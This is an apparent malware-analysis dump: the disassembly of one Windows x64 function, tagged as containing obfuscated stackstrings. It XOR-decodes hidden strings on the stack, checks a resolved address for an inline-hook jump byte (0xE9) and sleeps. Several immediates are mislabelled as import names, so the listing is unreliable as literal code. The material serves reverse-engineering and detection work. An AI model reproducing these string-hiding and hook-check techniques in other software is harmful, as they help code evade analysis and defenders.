Function at 0x140095440
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0x288
movzx eax, byte [section..data]
test eax, eax
je 0x140095d6e
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov byte [rsp + 0x2c], reloc.WS2_32.dll_listen
mov byte [rsp + 0x2d], 0x57
mov byte [rsp + 0x2e], 0x46
mov byte [rsp + 0x2f], 0x5b
mov byte [rsp + 0x30], 0x57
mov byte [rsp + 0x31], reloc.WLDAP32.dll_Ordinal_35
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x50], rax
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x260], rax
xor eax, eax
imul rax, rax, 1
mov rcx, qword [rsp + 0x260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x88], rax
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x98], rax
mov eax, 2
imul rax, rax, 1
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa8], rax
mov eax, 3
imul rax, rax, 1
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb8], rax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0xb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xc8], rax
mov eax, 5
imul rax, rax, 1
mov rcx, qword [rsp + 0xc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsx rax, byte [rax]
xor rax, 0x423
mov byte [rsp + 0x39], al
lea rax, [rsp + 0x34]
mov rdi, qword [rsp + 0x50]
mov rsi, rax
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xd8], rax
mov dl, 1
mov rcx, qword [rsp + 0xd8]
call fcn.1400c71e0
lea rax, [rsp + 0x7b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov byte [rsp + 0x3c], listen
mov byte [rsp + 0x3d], 0x51
mov byte [rsp + 0x3e], 0x40
mov byte [rsp + 0x3f], 0x5d
mov byte [rsp + 0x40], 0x51
mov byte [rsp + 0x41], Ordinal_41
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xe0], rax
xor eax, eax
imul rax, rax, 1
mov rcx, qword [rsp + 0xe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xf0], rax
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0xf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x100], rax
mov eax, 2
imul rax, rax, 1
mov rcx, qword [rsp + 0x100]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x46], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x110], rax
mov eax, 3
imul rax, rax, 1
mov rcx, qword [rsp + 0x110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x120], rax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x130], rax
mov eax, 5
imul rax, rax, 1
mov rcx, qword [rsp + 0x130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
movsx rax, byte [rax]
xor rax, 0x425
mov byte [rsp + 0x49], al
lea rax, [rsp + 0x44]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x140], rax
xor edx, edx
mov rcx, qword [rsp + 0x140]
call fcn.1400c71e0
movzx eax, al
test eax, eax
je 0x140095860
call fcn.1400c60e0
call fcn.1400942e0
cmp qword [0x140210c98], 0
jne 0x140095d3e
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x28]
call fcn.140090360
mov qword [rsp + 0x20], rax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
xor eax, eax
imul rax, rax, 1
mov rcx, qword [rsp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x158], rax
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x168], rax
mov eax, 2
imul rax, rax, 1
mov rcx, qword [rsp + 0x168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x178], rax
mov eax, 3
imul rax, rax, 1
mov rcx, qword [rsp + 0x178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x188], rax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x198], rax
mov eax, 5
imul rax, rax, 1
mov rcx, qword [rsp + 0x198]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1a8], rax
mov eax, 6
imul rax, rax, 1
mov rcx, qword [rsp + 0x1a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1b8], rax
mov eax, 7
imul rax, rax, 1
mov rcx, qword [rsp + 0x1b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1c8], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1d8], rax
mov eax, 9
imul rax, rax, 1
mov rcx, qword [rsp + 0x1d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1e8], rax
mov eax, 0xa
imul rax, rax, 1
mov rcx, qword [rsp + 0x1e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x1f8], rax
mov eax, listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x208], rax
mov eax, listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x218], rax
mov eax, reloc.WS2_32.dll_listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x228], rax
mov eax, reloc.WS2_32.dll_ntohl
imul rax, rax, 1
mov rcx, qword [rsp + 0x228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x238], rax
mov eax, reloc.WS2_32.dll_ntohs
imul rax, rax, 1
mov rcx, qword [rsp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x248], rax
mov eax, reloc.WS2_32.dll_recv
imul rax, rax, 1
mov rcx, qword [rsp + 0x248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
movsx rax, byte [rax]
xor rax, 0x42b
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x60]
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recvfrom
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
lea rcx, [0x1401332c0]
call fcn.140095e40
sub rax, 5
mov qword [0x140210c98], rax
mov rax, qword [0x140210c98]
movzx eax, byte [rax]
mov byte [rsp + 0x29], al
movzx eax, byte [rsp + 0x29]
cmp rax, 0xe9
jne 0x140095d63
call fcn.1400c60e0
call fcn.1400942e0
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x288
pop rdi
pop rsi
ret